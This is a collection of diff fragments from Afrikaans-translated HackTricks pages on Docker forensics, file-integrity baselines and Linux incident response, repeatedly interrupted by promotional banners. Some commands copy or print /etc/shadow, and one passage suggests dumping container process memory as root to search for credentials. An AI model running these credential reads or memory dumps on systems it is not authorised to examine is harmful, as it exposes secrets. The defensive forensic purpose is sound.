||||
Jy kan maklik **die wysigings wat aan hierdie houer gedoen is met betrekking tot die prent** vind met:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
C /var/lib
|
||||
C /var/lib/mysql
|
||||
A /var/lib/mysql/ib_logfile0
|
||||
A /var/lib/mysql/ib_logfile1
|
||||
A /var/lib/mysql/ibdata1
|
||||
A /var/lib/mysql/mysql
|
||||
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
In die vorige opdrag beteken **C** **Veranderd** en **A,** **Bygevoeg**.\
|
||||
As jy vind dat 'n interessante lêer soos `/etc/shadow` gewysig is, kan jy dit van die houer aflaai om vir skadelike aktiwiteit te ondersoek met:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Jy kan dit ook **vergelyk met die oorspronklike een** deur 'n nuwe houer te hardloop en die lêer daaruit te onttrek:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
As jy vind dat **'n verdagte lêer bygevoeg is**, kan jy toegang verkry tot die houer en dit nagaan:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Beeldwysigings
|
||||
|
||||
Wanneer jy 'n uitgevoerde docker-beeld (waarskynlik in `.tar`-formaat) ontvang, kan jy [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) gebruik om 'n opsomming van die wysigings te **onttrek**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Dan kan jy die prentjie **ontplooi** en **toegang verkry tot die blobs** om te soek na verdagte lêers wat jy dalk in die veranderingsgeskiedenis gevind het:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Basiese Analise
|
||||
|
||||
Jy kan **basiese inligting** kry van die lopende prentjie:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
Jy kan ook 'n opsomming van die **geskiedenis van veranderinge** kry met:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
Jy kan ook 'n **dockerfile van 'n prentjie** genereer met:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Duik
|
||||
|
||||
Om bygevoegde/gewysigde lêers in Docker-beelde te vind, kan jy ook die [**duik**](https://github.com/wagoodman/dive) (laai dit af vanaf [**vrystellings**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) nut gebruik:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
Loaded image: flask:latest
|
||||
|
||||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Dit stel jou in staat om **deur die verskillende blobs van Docker-beelde te blaai** en te kyk watter lêers gewysig/toegevoeg is. **Rooi** beteken toegevoeg en **geel** beteken gewysig. Gebruik **tab** om na die ander aansig te skuif en **spasie** om vouers in/uit te vou.
|
||||
|
||||
Met die sal jy nie toegang tot die inhoud van die verskillende fases van die beeld hê nie. Om dit te doen, sal jy elke laag moet dekomprimeer en toegang daartoe hê.\
|
||||
Jy kan al die lae van 'n beeld dekomprimeer vanuit die gids waar die beeld gedekomprimeer is deur die volgende uit te voer:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Legitieme inligting uit geheue
|
||||
|
||||
Let daarop dat wanneer jy 'n docker-houer binne 'n gasheer uitvoer, **kan jy die prosesse wat op die houer loop vanaf die gasheer sien** deur eenvoudig `ps -ef` uit te voer.
|
||||
|
||||
Daarom kan jy (as root) **die geheue van die prosesse uit die gasheer dump** en soek na **legitieme inligting** net [**soos in die volgende voorbeeld**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil hê jou **maatskappy geadverteer moet word in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Baseline
|
||||
|
||||
'n Baselyn bestaan uit die neem van 'n oorsig van sekere dele van 'n stelsel om dit met 'n toekomstige status te **vergelyk om veranderinge te beklemtoon**.
|
||||
|
||||
Byvoorbeeld, jy kan die has van elke lêer in die lêersisteem bereken en stoor om uit te vind watter lêers gewysig is.\
|
||||
Dit kan ook gedoen word met die gebruikersrekeninge wat geskep is, prosesse wat loop, dienste wat loop en enige ander ding wat nie baie of glad nie moet verander nie.
|
||||
|
||||
## Lêerintegriteitsmonitering
|
||||
|
||||
Lêerintegriteitsmonitering (FIM) is 'n kritieke sekuriteitstegniek wat IT-omgewings en data beskerm deur veranderinge in lêers te volg. Dit behels twee sleutelstappe:
|
||||
|
||||
1. **Baselynvergelyking:** Stel 'n baselyn vas deur lêereienskappe of kriptografiese kontrolesomme (soos MD5 of SHA-2) te gebruik vir toekomstige vergelykings om wysigings op te spoor.
|
||||
2. **Real-Time Veranderingskennisgewing:** Kry onmiddellike waarskuwings wanneer lêers geopen of gewysig word, tipies deur bedryfstelsel-kerneluitbreidings.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,437 @@
|
|||
# Linux Forensics
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Aanvanklike Inligting Versameling
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
Eerstens word dit aanbeveel om 'n **USB** met **bekende goeie binêre lêers en biblioteke daarop** te hê (jy kan net Ubuntu kry en die _/bin_, _/sbin_, _/lib,_ en _/lib64_ lêers kopieer), monteer dan die USB, en wysig die omgewingsveranderlikes om daardie binêre lêers te gebruik:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Nadat jy die stelsel opgestel het om goeie en bekende bineêre lêers te gebruik, kan jy begin **om 'n paar basiese inligting te onttrek**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||
ps -ef #Running processes
|
||||
netstat -anp #Proccess and ports
|
||||
lsof -V #Open files
|
||||
netstat -rn; route #Routing table
|
||||
df; mount #Free space and mounted devices
|
||||
free #Meam and swap space
|
||||
w #Who is connected
|
||||
last -Faiwx #Logins
|
||||
lsmod #What is loaded
|
||||
cat /etc/passwd #Unexpected data?
|
||||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### Verdagte inligting
|
||||
|
||||
Terwyl jy die basiese inligting bekom, moet jy vir vreemde dinge soos die volgende kyk:
|
||||
|
||||
- **Root prosesse** hardloop gewoonlik met lae PIDS, so as jy 'n root proses met 'n groot PID vind, kan jy dit verdenk
|
||||
- Kyk na **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd`
|
||||
- Kyk vir **wagwoordhasings** binne `/etc/shadow` vir gebruikers sonder 'n skaal
|
||||
|
||||
### Geheue Dump
|
||||
|
||||
Om die geheue van die lopende stelsel te bekom, word dit aanbeveel om [**LiME**](https://github.com/504ensicsLabs/LiME) te gebruik.\
|
||||
Om dit te **kompileer**, moet jy dieselfde kernel gebruik as die slagoffer se masjien.
|
||||
|
||||
{% hint style="info" %}
|
||||
Onthou dat jy **LiME of enige ander ding nie kan installeer** op die slagoffer se masjien nie, aangesien dit verskeie veranderinge daaraan sal maak
|
||||
{% endhint %}
|
||||
|
||||
Dus, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\
|
||||
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit met die korrekte kernelkoppeer kombineer. Om die **presiese kernelkoppe** van die slagoffer se masjien te bekom, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME daarmee **kompileer**:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME ondersteun 3 **formate**:
|
||||
|
||||
* Rou (elke segment aanmekaar gekonkatenasieer)
|
||||
* Gepas (soortgelyk aan rou, maar met nulle in die regter bietjies)
|
||||
* Lime (aanbevole formaat met metadata)
|
||||
|
||||
LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas van dit op die stelsel te stoor deur iets soos: `path=tcp:4444`
|
||||
|
||||
### Skyfbeelding
|
||||
|
||||
#### Afskakel
|
||||
|
||||
Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver sal wees wat die maatskappy nie kan bekostig om af te skakel nie.\
|
||||
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop" benadering mag 'n **bietjie inligtingverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal nie enige geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop.
|
||||
|
||||
#### 'n Beeld van die skyf neem
|
||||
|
||||
Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as **alleen lees** gemonteer gaan word om te verhoed dat enige inligting gewysig word.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
||||
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Skijfafbeelding voor-ontleding
|
||||
|
||||
Beeld 'n skijfafbeelding met geen verdere data nie.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||
|
||||
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||
Unmounted properly
|
||||
Last mounted on: /mnt/disk0
|
||||
|
||||
Source OS: Linux
|
||||
[...]
|
||||
|
||||
#ls inside the image
|
||||
fls -i raw -f ext4 disk.img
|
||||
d/d 11: lost+found
|
||||
d/d 12: Documents
|
||||
d/d 8193: folder1
|
||||
d/d 8194: folder2
|
||||
V/V 65537: $OrphanFiles
|
||||
|
||||
#ls inside folder
|
||||
fls -i raw -f ext4 disk.img 12
|
||||
r/r 16: secret.txt
|
||||
|
||||
#cat file inside image
|
||||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Soek na bekende Malware
|
||||
|
||||
### Gewysigde Stelsel lêers
|
||||
|
||||
Linux bied gereedskap vir die verseker van die integriteit van stelselkomponente, wat noodsaaklik is om potensieel problematiese lêers op te spoor.
|
||||
|
||||
* **RedHat-gebaseerde stelsels**: Gebruik `rpm -Va` vir 'n omvattende ondersoek.
|
||||
* **Debian-gebaseerde stelsels**: `dpkg --verify` vir aanvanklike verifikasie, gevolg deur `debsums | grep -v "OK$"` (nadat `debsums` met `apt-get install debsums` geïnstalleer is) om enige probleme te identifiseer.
|
||||
|
||||
### Malware/Rootkit Detectors
|
||||
|
||||
Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om malware te vind:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Soek na geïnstalleerde programme
|
||||
|
||||
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gids.
|
||||
|
||||
* Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketaanvullings te kry, gebruik `grep` om te filter vir spesifieke inligting.
|
||||
* RedHat-gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
|
||||
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketbestuurders geïnstalleer is, te ontdek, verken gids soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslys met stelselspesifieke bevele om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
cat /var/log/dpkg.log | grep installed
|
||||
# RedHat RPM database query
|
||||
rpm -qa --root=/mntpath/var/lib/rpm
|
||||
# Listing directories for manual installations
|
||||
ls /usr/sbin /usr/bin /bin /sbin
|
||||
# Identifying non-package executables (Debian)
|
||||
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||
# Identifying non-package executables (RedHat)
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiese werksvloei** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Herstel Verwyderde Lopende Binêre Lêers
|
||||
|
||||
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en toe verwyder is. Dit is moontlik om dit terug te haal
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Inspekteer Autostart-plekke
|
||||
|
||||
### Beplande Take
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
/var/spool/anacron \
|
||||
/etc/cron* \
|
||||
/etc/at* \
|
||||
/etc/anacrontab \
|
||||
/etc/incron.d/* \
|
||||
/var/spool/incron/* \
|
||||
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### Dienste
|
||||
|
||||
Paaie waar 'n kwaadwillige program geïnstalleer kan word as 'n diens:
|
||||
|
||||
- **/etc/inittab**: Roep inisialiseringsskripte soos rc.sysinit aan, wat verder na aanloopskripte verwys.
|
||||
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diensaanvang, waarvan die laaste in ouer Linux-weergawes gevind word.
|
||||
- **/etc/init.d/**: Word in sekere Linux-weergawes soos Debian gebruik vir die stoor van aanloopskripte.
|
||||
- Dienste kan ook geaktiveer word via **/etc/inetd.conf** of **/etc/xinetd/**, afhangende van die Linux-variant.
|
||||
- **/etc/systemd/system**: 'n Gids vir stelsel- en diensbestuurskripte.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Bevat skakels na dienste wat in 'n multi-gebruiker vlak gestart moet word.
|
||||
- **/usr/local/etc/rc.d/**: Vir aangepaste of derdeparty-dienste.
|
||||
- **\~/.config/autostart/**: Vir gebruikerspesifieke outomatiese aanvangstoepassings, wat 'n skuilplek vir gebruikersgerigte kwaadwillige sagteware kan wees.
|
||||
- **/lib/systemd/system/**: Stelselwye verstek eenheidslêers wat deur geïnstalleerde pakkette voorsien word.
|
||||
|
||||
### Kernelmodules
|
||||
|
||||
Linux-kernelmodules, dikwels deur kwaadwillige sagteware as rootkit-komponente gebruik, word by stelselbegin gelaai. Die kritieke gids en lêers vir hierdie modules sluit in:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Bevat modules vir die lopende kernelweergawe.
|
||||
- **/etc/modprobe.d**: Bevat konfigurasie lêers om moduleladings te beheer.
|
||||
- **/etc/modprobe** en **/etc/modprobe.conf**: Lêers vir globale module-instellings.
|
||||
|
||||
### Ander Autostart-plekke
|
||||
|
||||
Linux gebruik verskeie lêers om programme outomaties uit te voer by gebruiker aanmelding, wat moontlik kwaadwillige sagteware kan bevat:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, en **/etc/bash.bashrc**: Uitgevoer vir enige gebruiker aanmelding.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, en **\~/.config/autostart**: Gebruikerspesifieke lêers wat tydens hul aanmelding uitgevoer word.
|
||||
- **/etc/rc.local**: Word na alle stelseldienste begin het, uitgevoer en dui die einde van die oorgang na 'n multi-gebruiker omgewing aan.
|
||||
|
||||
## Ondersoek Logboeke
|
||||
|
||||
Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure by deur verskeie log lêers. Hierdie logboeke is noodsaaklik vir die identifisering van ongemagtigde toegang, kwaadwillige infeksies, en ander veiligheidsvoorvalle. Sleutel logboeklêers sluit in:
|
||||
|
||||
- **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelselwye boodskappe en aktiwiteite op.
|
||||
- **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Neem outentiseringspogings, suksesvolle en mislukte aanmeldings op.
|
||||
- Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante outentiseringsgebeure te filter.
|
||||
- **/var/log/boot.log**: Bevat stelselbeginboodskappe.
|
||||
- **/var/log/maillog** of **/var/log/mail.log**: Neem e-posbedieneraktiwiteite op, nuttig vir die opsporing van e-posverwante dienste.
|
||||
- **/var/log/kern.log**: Berg kernelboodskappe op, insluitend foute en waarskuwings.
|
||||
- **/var/log/dmesg**: Hou toestelbestuurderboodskappe aan.
|
||||
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidsverbrekingondersoeke.
|
||||
- **/var/log/cron**: Neem cron-werkuitvoerings op.
|
||||
- **/var/log/daemon.log**: Volg agtergronddiensaktiwiteite.
|
||||
- **/var/log/btmp**: Dokumenteer mislukte aanmeldingspogings.
|
||||
- **/var/log/httpd/**: Bevat Apache HTTPD-fout- en toegangslogboeke.
|
||||
- **/var/log/mysqld.log** of **/var/log/mysql.log**: Neem MySQL-databasisaktiwiteite op.
|
||||
- **/var/log/xferlog**: Neem FTP-lêeroordragte op.
|
||||
- **/var/log/**: Kontroleer altyd vir onverwagte logboeke hier.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux-stelsellogboeke en ouditonderstelsels kan gedeaktiveer of uitgevee word in 'n indringing of kwaadwillige voorval. Omdat logboeke op Linux-stelsels gewoonlik van die nuttigste inligting oor kwaadwillige aktiwiteite bevat, verwyder indringers dit gereeld. Daarom is dit belangrik om, wanneer beskikbare logboeklêers ondersoek word, te kyk vir gaping of uit plek inskrywings wat 'n aanduiding van uitveeg of manipulasie kan wees.
|
||||
{% endhint %}
|
||||
|
||||
**Linux hou 'n opdraggeskiedenis vir elke gebruiker by**, gestoor in:
|
||||
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Verder bied die `last -Faiwx` opdrag 'n lys van gebruikersaanmeldings. Kontroleer dit vir onbekende of onverwagte aanmeldings.
|
||||
|
||||
Kontroleer lêers wat ekstra regte kan verleen:
|
||||
|
||||
- Ondersoek `/etc/sudoers` vir onverwagte gebruikersregte wat moontlik toegeken is.
|
||||
- Ondersoek `/etc/sudoers.d/` vir onverwagte gebruikersregte wat moontlik toegeken is.
|
||||
- Ondersoek `/etc/groups` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer.
|
||||
- Ondersoek `/etc/passwd` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer.
|
||||
|
||||
Sommige programme genereer ook hul eie logboeke:
|
||||
|
||||
- **SSH**: Ondersoek _\~/.ssh/authorized\_keys_ en _\~/.ssh/known\_hosts_ vir ongemagtigde afstandbeheerverbindings.
|
||||
- **Gnome Desktop**: Kyk na _\~/.recently-used.xbel_ vir onlangs benaderde lêers via Gnome-toepassings.
|
||||
- **Firefox/Chrome**: Kontroleer blaaiergeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite.
|
||||
- **VIM**: Ondersoek _\~/.viminfo_ vir gebruiksdetails, soos benaderde lêerpaadjies en soekgeskiedenis.
|
||||
- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat dui op gekompromitteerde lêers.
|
||||
- **FTP/SFTP**: Ondersoek logboeke in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêeroordragte wat moontlik ongemagtig is.
|
||||
- **MySQL**: Ondersoek _\~/.mysql\_history_ vir uitgevoerde MySQL-navrae, wat moontlik ongemagtigde databasisaktiwiteite kan onthul.
|
||||
- **Less**: Analiseer _\~/.lesshst_ vir gebruiksgeskiedenis, insluitend besigtigde lêers en uitgevoerde opdragte.
|
||||
- **Git**: Ondersoek _\~/.gitconfig_ en projek _.git/logs_ vir veranderinge aan bewaarplekke.
|
||||
|
||||
### USB Logboeke
|
